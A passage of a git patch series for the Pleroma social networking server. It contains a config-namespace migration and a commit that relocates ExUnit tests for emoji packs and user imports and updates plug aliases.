Your config is using old namespace for RemoteIp Plug. Setting should work for now, but you are advised to change to new namespace to prevent possible issues later: + """ + + move_namespace_and_warn( + [ + {Pleroma.Plugs.RemoteIp, Pleroma.Web.Plugs.RemoteIp, + "\n* `config :pleroma, Pleroma.Plugs.RemoteIp` is now `config :pleroma, Pleroma.Web.Plugs.RemoteIp`"} + ], + warning_preface + ) + end end diff --git a/priv/repo/migrations/20200919182636_remoteip_plug_rename.exs b/priv/repo/migrations/20200919182636_remoteip_plug_rename.exs new file mode 100644 index 000000000..77c3b6db1 --- /dev/null +++ b/priv/repo/migrations/20200919182636_remoteip_plug_rename.exs @@ -0,0 +1,19 @@ +defmodule Pleroma.Repo.Migrations.RemoteipPlugRename do + use Ecto.Migration + + import Ecto.Query + + def up do + config = + from(c in Pleroma.ConfigDB, where: c.group == ^:pleroma and c.key == ^Pleroma.Plugs.RemoteIp) + |> Pleroma.Repo.one() + + if config do + config + |> Ecto.Changeset.change(key: Pleroma.Web.Plugs.RemoteIp) + |> Pleroma.Repo.update() + end + end + + def down, do: :ok +end -- cgit v1.2.3 From 4c4ea9a3486f824cfba825a176439d50ec54fe95 Mon Sep 17 00:00:00 2001 From: Alexander Strizhakov <alex.strizhakov@gmail.com> Date: Tue, 13 Oct 2020 17:10:34 +0300 Subject: changes after rebase --- docs/configuration/cheatsheet.md | 8 +- .../controllers/emoji_file_controller.ex | 2 +- .../controllers/user_import_controller.ex | 2 +- lib/pleroma/web/streamer.ex | 2 +- test/emoji/pack_test.exs | 93 ------ test/pleroma/config/deprecation_warnings_test.exs | 2 +- test/pleroma/emoji/pack_test.exs | 93 ++++++ test/pleroma/user/import_test.exs | 76 +++++ test/pleroma/user/query_test.exs | 37 +++ test/pleroma/utils_test.exs | 15 + .../controllers/emoji_file_controller_test.exs | 357 +++++++++++++++++++++ .../controllers/user_import_controller_test.exs | 235 ++++++++++++++ test/pleroma/web/rich_media/helpers_test.exs | 1 - test/user/import_test.exs | 76 ----- test/user/query_test.exs | 37 --- test/utils_test.exs | 15 - .../controllers/emoji_file_controller_test.exs | 357 --------------------- .../controllers/user_import_controller_test.exs | 235 -------------- 18 files changed, 818 insertions(+), 825 deletions(-) delete mode 100644 test/emoji/pack_test.exs create mode 100644 test/pleroma/emoji/pack_test.exs create mode 100644 test/pleroma/user/import_test.exs create mode 100644 test/pleroma/user/query_test.exs create mode 100644 test/pleroma/utils_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs create mode 100644 test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs delete mode 100644 test/user/import_test.exs delete mode 100644 test/user/query_test.exs delete mode 100644 test/utils_test.exs delete mode 100644 test/web/pleroma_api/controllers/emoji_file_controller_test.exs delete mode 100644 test/web/pleroma_api/controllers/user_import_controller_test.exs diff --git a/docs/configuration/cheatsheet.md b/docs/configuration/cheatsheet.md index a6a152b7e..0b13d7e88 100644 --- a/docs/configuration/cheatsheet.md +++ b/docs/configuration/cheatsheet.md @@ -113,7 +113,7 @@ To add configuration to your config file, you can copy it from the base config. * `Pleroma.Web.ActivityPub.MRF.MentionPolicy`: Drops posts mentioning configurable users. (See [`:mrf_mention`](#mrf_mention)). * `Pleroma.Web.ActivityPub.MRF.VocabularyPolicy`: Restricts activities to a configured set of vocabulary. (See [`:mrf_vocabulary`](#mrf_vocabulary)). * `Pleroma.Web.ActivityPub.MRF.ObjectAgePolicy`: Rejects or delists posts based on their age when received. (See [`:mrf_object_age`](#mrf_object_age)). - * `Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy`: Sets a default expiration on all posts made by users of the local instance. Requires `Pleroma.ActivityExpiration` to be enabled for processing the scheduled delections. + * `Pleroma.Web.ActivityPub.MRF.ActivityExpirationPolicy`: Sets a default expiration on all posts made by users of the local instance. Requires `Pleroma.Workers.PurgeExpiredActivity` to be enabled for processing the scheduled delections. * `Pleroma.Web.ActivityPub.MRF.ForceBotUnlistedPolicy`: Makes all bot posts to disappear from public timelines. * `transparency`: Make the content of your Message Rewrite Facility settings public (via nodeinfo). * `transparency_exclusions`: Exclude specific instance names from MRF transparency. The use of the exclusions feature will be disclosed in nodeinfo as a boolean value. @@ -219,12 +219,6 @@ config :pleroma, :mrf_user_allowlist, %{ * `total_user_limit`: the number of scheduled activities a user is allowed to create in total (Default: `300`) * `enabled`: whether scheduled activities are sent to the job queue to be executed -## Pleroma.ActivityExpiration - -Enables the worker which processes posts scheduled for deletion. Pinned posts are exempt from expiration. - -* `enabled`: whether expired activities will be sent to the job queue to be deleted - ## FedSockets FedSockets is an experimental feature allowing for Pleroma backends to federate using a persistant websocket connection as opposed to making each federation a seperate http connection. This feature is currently off by default. It is configurable throught he following options. diff --git a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex index 7c0345094..428c97de6 100644 --- a/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/emoji_file_controller.ex @@ -11,7 +11,7 @@ defmodule Pleroma.Web.PleromaAPI.EmojiFileController do plug(Pleroma.Web.ApiSpec.CastAndValidate) plug( - Pleroma.Plugs.OAuthScopesPlug, + Pleroma.Web.Plugs.OAuthScopesPlug, %{scopes: ["write"], admin: true} when action in [ :create, diff --git a/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex index f10c45750..7f089af1c 100644 --- a/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex +++ b/lib/pleroma/web/pleroma_api/controllers/user_import_controller.ex @@ -7,9 +7,9 @@ defmodule Pleroma.Web.PleromaAPI.UserImportController do require Logger - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ApiSpec + alias Pleroma.Web.Plugs.OAuthScopesPlug plug(OAuthScopesPlug, %{scopes: ["follow", "write:follows"]} when action == :follow) plug(OAuthScopesPlug, %{scopes: ["follow", "write:blocks"]} when action == :blocks) diff --git a/lib/pleroma/web/streamer.ex b/lib/pleroma/web/streamer.ex index 5475f18a6..d618dfe54 100644 --- a/lib/pleroma/web/streamer.ex +++ b/lib/pleroma/web/streamer.ex @@ -11,12 +11,12 @@ defmodule Pleroma.Web.Streamer do alias Pleroma.Conversation.Participation alias Pleroma.Notification alias Pleroma.Object - alias Pleroma.Plugs.OAuthScopesPlug alias Pleroma.User alias Pleroma.Web.ActivityPub.ActivityPub alias Pleroma.Web.ActivityPub.Visibility alias Pleroma.Web.CommonAPI alias Pleroma.Web.OAuth.Token + alias Pleroma.Web.Plugs.OAuthScopesPlug alias Pleroma.Web.StreamerView @mix_env Mix.env() diff --git a/test/emoji/pack_test.exs b/test/emoji/pack_test.exs deleted file mode 100644 index 70d1eaa1b..000000000 --- a/test/emoji/pack_test.exs +++ /dev/null @@ -1,93 +0,0 @@ -# Pleroma: A lightweight social networking server -# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> -# SPDX-License-Identifier: AGPL-3.0-only - -defmodule Pleroma.Emoji.PackTest do - use ExUnit.Case, async: true - alias Pleroma.Emoji.Pack - - @emoji_path Path.join( - Pleroma.Config.get!([:instance, :static_dir]), - "emoji" - ) - - setup do - pack_path = Path.join(@emoji_path, "dump_pack") - File.mkdir(pack_path) - - File.write!(Path.join(pack_path, "pack.json"), """ - { - "files": { }, - "pack": { - "description": "Dump pack", "homepage": "https://pleroma.social", - "license": "Test license", "share-files": true - }} - """) - - {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") - - on_exit(fn -> - File.rm_rf!(pack_path) - end) - - {:ok, pack: pack} - end - - describe "add_file/4" do - test "add emojies from zip file", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/emojis.zip") - } - - {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) - - assert updated_pack.files == %{ - "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", - "auroraborealis" => "auroraborealis.png", - "baby_in_a_box" => "1000px/baby_in_a_box.png", - "bear" => "1000px/bear.png", - "bear-128" => "128px/bear-128.png" - } - - assert updated_pack.files_count == 5 - end - end - - test "returns error when zip file is bad", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/instance_static/emoji/test_pack/blank.png") - } - - assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} - end - - test "returns pack when zip file is empty", %{pack: pack} do - file = %Plug.Upload{ - content_type: "application/zip", - filename: "emojis.zip", - path: Path.absname("test/fixtures/empty.zip") - } - - {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) - assert updated_pack == pack - end - - test "add emoji file", %{pack: pack} do - file = %Plug.Upload{ - filename: "blank.png", - path: "#{@emoji_path}/test_pack/blank.png" - } - - {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) - - assert updated_pack.files == %{ - "test_blank" => "test_blank.png" - } - - assert updated_pack.files_count == 1 - end -end diff --git a/test/pleroma/config/deprecation_warnings_test.exs b/test/pleroma/config/deprecation_warnings_test.exs index 02ada1aab..0cfed4555 100644 --- a/test/pleroma/config/deprecation_warnings_test.exs +++ b/test/pleroma/config/deprecation_warnings_test.exs @@ -87,7 +87,7 @@ test "check_hellthread_threshold/0" do end test "check_activity_expiration_config/0" do - clear_config([Pleroma.ActivityExpiration, :enabled], true) + clear_config(Pleroma.ActivityExpiration, enabled: true) assert capture_log(fn -> DeprecationWarnings.check_activity_expiration_config() diff --git a/test/pleroma/emoji/pack_test.exs b/test/pleroma/emoji/pack_test.exs new file mode 100644 index 000000000..70d1eaa1b --- /dev/null +++ b/test/pleroma/emoji/pack_test.exs @@ -0,0 +1,93 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Emoji.PackTest do + use ExUnit.Case, async: true + alias Pleroma.Emoji.Pack + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + + setup do + pack_path = Path.join(@emoji_path, "dump_pack") + File.mkdir(pack_path) + + File.write!(Path.join(pack_path, "pack.json"), """ + { + "files": { }, + "pack": { + "description": "Dump pack", "homepage": "https://pleroma.social", + "license": "Test license", "share-files": true + }} + """) + + {:ok, pack} = Pleroma.Emoji.Pack.load_pack("dump_pack") + + on_exit(fn -> + File.rm_rf!(pack_path) + end) + + {:ok, pack: pack} + end + + describe "add_file/4" do + test "add emojies from zip file", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + + assert updated_pack.files == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png" + } + + assert updated_pack.files_count == 5 + end + end + + test "returns error when zip file is bad", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/instance_static/emoji/test_pack/blank.png") + } + + assert Pack.add_file(pack, nil, nil, file) == {:error, :einval} + end + + test "returns pack when zip file is empty", %{pack: pack} do + file = %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/empty.zip") + } + + {:ok, updated_pack} = Pack.add_file(pack, nil, nil, file) + assert updated_pack == pack + end + + test "add emoji file", %{pack: pack} do + file = %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + + {:ok, updated_pack} = Pack.add_file(pack, "test_blank", "test_blank.png", file) + + assert updated_pack.files == %{ + "test_blank" => "test_blank.png" + } + + assert updated_pack.files_count == 1 + end +end diff --git a/test/pleroma/user/import_test.exs b/test/pleroma/user/import_test.exs new file mode 100644 index 000000000..e404deeb5 --- /dev/null +++ b/test/pleroma/user/import_test.exs @@ -0,0 +1,76 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.ImportTest do + alias Pleroma.Repo + alias Pleroma.Tests.ObanHelpers + alias Pleroma.User + + use Pleroma.DataCase + use Oban.Testing, repo: Pleroma.Repo + + import Pleroma.Factory + + setup_all do + Tesla.Mock.mock_global(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "follow_import" do + test "it imports user followings from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.follow_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.following?(user1, user2) + assert User.following?(user1, user3) + end + end + + describe "blocks_import" do + test "it imports user blocks from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.blocks_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.blocks?(user1, user2) + assert User.blocks?(user1, user3) + end + end + + describe "mutes_import" do + test "it imports user mutes from list" do + [user1, user2, user3] = insert_list(3, :user) + + identifiers = [ + user2.ap_id, + user3.nickname + ] + + {:ok, job} = User.Import.mutes_import(user1, identifiers) + + assert {:ok, result} = ObanHelpers.perform(job) + assert is_list(result) + assert result == [user2, user3] + assert User.mutes?(user1, user2) + assert User.mutes?(user1, user3) + end + end +end diff --git a/test/pleroma/user/query_test.exs b/test/pleroma/user/query_test.exs new file mode 100644 index 000000000..e2f5c7d81 --- /dev/null +++ b/test/pleroma/user/query_test.exs @@ -0,0 +1,37 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.User.QueryTest do + use Pleroma.DataCase, async: true + + alias Pleroma.Repo + alias Pleroma.User + alias Pleroma.User.Query + alias Pleroma.Web.ActivityPub.InternalFetchActor + + import Pleroma.Factory + + describe "internal users" do + test "it filters out internal users by default" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it filters out users without nickname by default" do + insert(:user, %{nickname: nil}) + + assert [_user] = User |> Repo.all() + assert [] == %{} |> Query.build() |> Repo.all() + end + + test "it returns internal users when enabled" do + %User{nickname: "internal.fetch"} = InternalFetchActor.get_actor() + insert(:user, %{nickname: nil}) + + assert %{internal: true} |> Query.build() |> Repo.aggregate(:count) == 2 + end + end +end diff --git a/test/pleroma/utils_test.exs b/test/pleroma/utils_test.exs new file mode 100644 index 000000000..460f7e0b5 --- /dev/null +++ b/test/pleroma/utils_test.exs @@ -0,0 +1,15 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.UtilsTest do + use ExUnit.Case, async: true + + describe "tmp_dir/1" do + test "returns unique temporary directory" do + {:ok, path} = Pleroma.Utils.tmp_dir("emoji") + assert path =~ ~r/\/emoji-(.*)-#{:os.getpid()}-(.*)/ + File.rm_rf(path) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs new file mode 100644 index 000000000..82de86ee3 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/emoji_file_controller_test.exs @@ -0,0 +1,357 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.EmojiFileControllerTest do + use Pleroma.Web.ConnCase + + import Tesla.Mock + import Pleroma.Factory + + @emoji_path Path.join( + Pleroma.Config.get!([:instance, :static_dir]), + "emoji" + ) + setup do: clear_config([:auth, :enforce_oauth_admin_scope_usage], false) + + setup do: clear_config([:instance, :public], true) + + setup do + admin = insert(:user, is_admin: true) + token = insert(:oauth_admin_token, user: admin) + + admin_conn = + build_conn() + |> assign(:user, admin) + |> assign(:token, token) + + Pleroma.Emoji.reload() + {:ok, %{admin_conn: admin_conn}} + end + + describe "POST/PATCH/DELETE /api/pleroma/emoji/packs/files?name=:name" do + setup do + pack_file = "#{@emoji_path}/test_pack/pack.json" + original_content = File.read!(pack_file) + + on_exit(fn -> + File.write!(pack_file, original_content) + end) + + :ok + end + + test "upload zip file with emojies", %{admin_conn: admin_conn} do + on_exit(fn -> + [ + "128px/a_trusted_friend-128.png", + "auroraborealis.png", + "1000px/baby_in_a_box.png", + "1000px/bear.png", + "128px/bear-128.png" + ] + |> Enum.each(fn path -> File.rm_rf!("#{@emoji_path}/test_pack/#{path}") end) + end) + + resp = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + file: %Plug.Upload{ + content_type: "application/zip", + filename: "emojis.zip", + path: Path.absname("test/fixtures/emojis.zip") + } + }) + |> json_response_and_validate_schema(200) + + assert resp == %{ + "a_trusted_friend-128" => "128px/a_trusted_friend-128.png", + "auroraborealis" => "auroraborealis.png", + "baby_in_a_box" => "1000px/baby_in_a_box.png", + "bear" => "1000px/bear.png", + "bear-128" => "128px/bear-128.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + Enum.each(Map.values(resp), fn path -> + assert File.exists?("#{@emoji_path}/test_pack/#{path}") + end) + end + + test "create shortcode exists", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => "An emoji with the \"blank\" shortcode already exists" + } + end + + test "don't rewrite old emoji", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + new_shortcode: "blank2", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:conflict) == %{ + "error" => + "New shortcode \"blank2\" is already used. If you want to override emoji use 'force' option" + } + end + + test "rewrite old emoji with force option", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir_2/") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank3" => "dir/blank.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png", + force: true + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png", + "blank4" => "dir_2/blank_3.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + end + + test "with empty filename", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank2", + filename: "", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(422) == %{ + "error" => "pack name, shortcode or filename cannot be empty" + } + end + + test "add file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=not_loaded", %{ + shortcode: "blank3", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=blank3") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "remove file with empty shortcode", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=not_loaded&shortcode=") + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "update file with not loaded pack", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=not_loaded", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:not_found) == %{ + "error" => "pack \"not_loaded\" is not found" + } + end + + test "new with shortcode as file with update", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank4", + filename: "dir/blank.png", + file: %Plug.Upload{ + filename: "blank.png", + path: "#{@emoji_path}/test_pack/blank.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank4" => "dir/blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/dir/blank.png") + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank4", + new_shortcode: "blank3", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank3" => "dir_2/blank_3.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir/") + assert File.exists?("#{@emoji_path}/test_pack/dir_2/blank_3.png") + + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") + |> json_response_and_validate_schema(200) == %{ + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + refute File.exists?("#{@emoji_path}/test_pack/dir_2/") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/dir") end) + end + + test "new with shortcode from url", %{admin_conn: admin_conn} do + mock(fn + %{ + method: :get, + url: "https://test-blank/blank_url.png" + } -> + text(File.read!("#{@emoji_path}/test_pack/blank.png")) + end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank_url", + file: "https://test-blank/blank_url.png" + }) + |> json_response_and_validate_schema(200) == %{ + "blank_url" => "blank_url.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + + assert File.exists?("#{@emoji_path}/test_pack/blank_url.png") + + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/blank_url.png") end) + end + + test "new without shortcode", %{admin_conn: admin_conn} do + on_exit(fn -> File.rm_rf!("#{@emoji_path}/test_pack/shortcode.png") end) + + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> post("/api/pleroma/emoji/packs/files?name=test_pack", %{ + file: %Plug.Upload{ + filename: "shortcode.png", + path: "#{Pleroma.Config.get([:instance, :static_dir])}/add/shortcode.png" + } + }) + |> json_response_and_validate_schema(200) == %{ + "shortcode" => "shortcode.png", + "blank" => "blank.png", + "blank2" => "blank2.png" + } + end + + test "remove non existing shortcode in pack.json", %{admin_conn: admin_conn} do + assert admin_conn + |> delete("/api/pleroma/emoji/packs/files?name=test_pack&shortcode=blank3") + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update non existing emoji", %{admin_conn: admin_conn} do + assert admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank3", + new_shortcode: "blank4", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) == %{ + "error" => "Emoji \"blank3\" does not exist" + } + end + + test "update with empty shortcode", %{admin_conn: admin_conn} do + assert %{ + "error" => "Missing field: new_shortcode." + } = + admin_conn + |> put_req_header("content-type", "multipart/form-data") + |> patch("/api/pleroma/emoji/packs/files?name=test_pack", %{ + shortcode: "blank", + new_filename: "dir_2/blank_3.png" + }) + |> json_response_and_validate_schema(:bad_request) + end + end +end diff --git a/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs b/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs new file mode 100644 index 000000000..433c97e81 --- /dev/null +++ b/test/pleroma/web/pleroma_api/controllers/user_import_controller_test.exs @@ -0,0 +1,235 @@ +# Pleroma: A lightweight social networking server +# Copyright © 2017-2020 Pleroma Authors <https://pleroma.social/> +# SPDX-License-Identifier: AGPL-3.0-only + +defmodule Pleroma.Web.PleromaAPI.UserImportControllerTest do + use Pleroma.Web.ConnCase + use Oban.Testing, repo: Pleroma.Repo + + alias Pleroma.Config + alias Pleroma.Tests.ObanHelpers + + import Pleroma.Factory + import Mock + + setup do + Tesla.Mock.mock(fn env -> apply(HttpRequestMock, :request, [env]) end) + :ok + end + + describe "POST /api/pleroma/follow_import" do + setup do: oauth_access(["follow"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + end + + test "it imports follow lists from file", %{conn: conn} do + user2 = insert(:user) + + with_mocks([ + {File, [], + read!: fn "follow_list.txt" -> + "Account address,Show boosts\n#{user2.ap_id},true" + end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => %Plug.Upload{path: "follow_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == [user2] + end + end + + test "it imports new-style mastodon follow lists", %{conn: conn} do + user2 = insert(:user) + + response = + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{ + "list" => "Account address,Show boosts\n#{user2.ap_id},true" + }) + |> json_response_and_validate_schema(200) + + assert response == "job started" + end + + test "requires 'follow' or 'write:follows' permissions" do + token1 = insert(:oauth_token, scopes: ["read", "write"]) + token2 = insert(:oauth_token, scopes: ["follow"]) + token3 = insert(:oauth_token, scopes: ["something"]) + another_user = insert(:user) + + for token <- [token1, token2, token3] do + conn = + build_conn() + |> put_req_header("authorization", "Bearer #{token.token}") + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => "#{another_user.ap_id}"}) + + if token == token3 do + assert %{"error" => "Insufficient permissions: follow | write:follows."} == + json_response(conn, 403) + else + assert json_response(conn, 200) + end + end + end + + test "it imports follows with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + " ", + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join("\n") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/follow_import", %{"list" => identifiers}) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + describe "POST /api/pleroma/blocks_import" do + # Note: "follow" or "write:blocks" permission is required + setup do: oauth_access(["write:blocks"]) + + test "it returns HTTP 200", %{conn: conn} do + user2 = insert(:user) + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => "#{user2.ap_id}"}) + |> json_response_and_validate_schema(200) + end + + test "it imports blocks users from file", %{conn: conn} do + users = [user2, user3] = insert_list(2, :user) + + with_mocks([ + {File, [], read!: fn "blocks_list.txt" -> "#{user2.ap_id} #{user3.ap_id}" end} + ]) do + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{ + "list" => %Plug.Upload{path: "blocks_list.txt"} + }) + |> json_response_and_validate_schema(200) + + assert [{:ok, job_result}] = ObanHelpers.perform_all() + assert job_result == users + end + end + + test "it imports blocks with different nickname variations", %{conn: conn} do + users = [user2, user3, user4, user5, user6] = insert_list(5, :user) + + identifiers = + [ + user2.ap_id, + user3.nickname, + "@" <> user4.nickname, + user5.nickname <> "@localhost", + "@" <> user6.nickname <> "@localhost" + ] + |> Enum.join(" ") + + assert "job started" == + conn + |> put_req_header("content-type", "application/json") + |> post("/api/pleroma/blocks_import", %{"list" => identifiers}) + |> 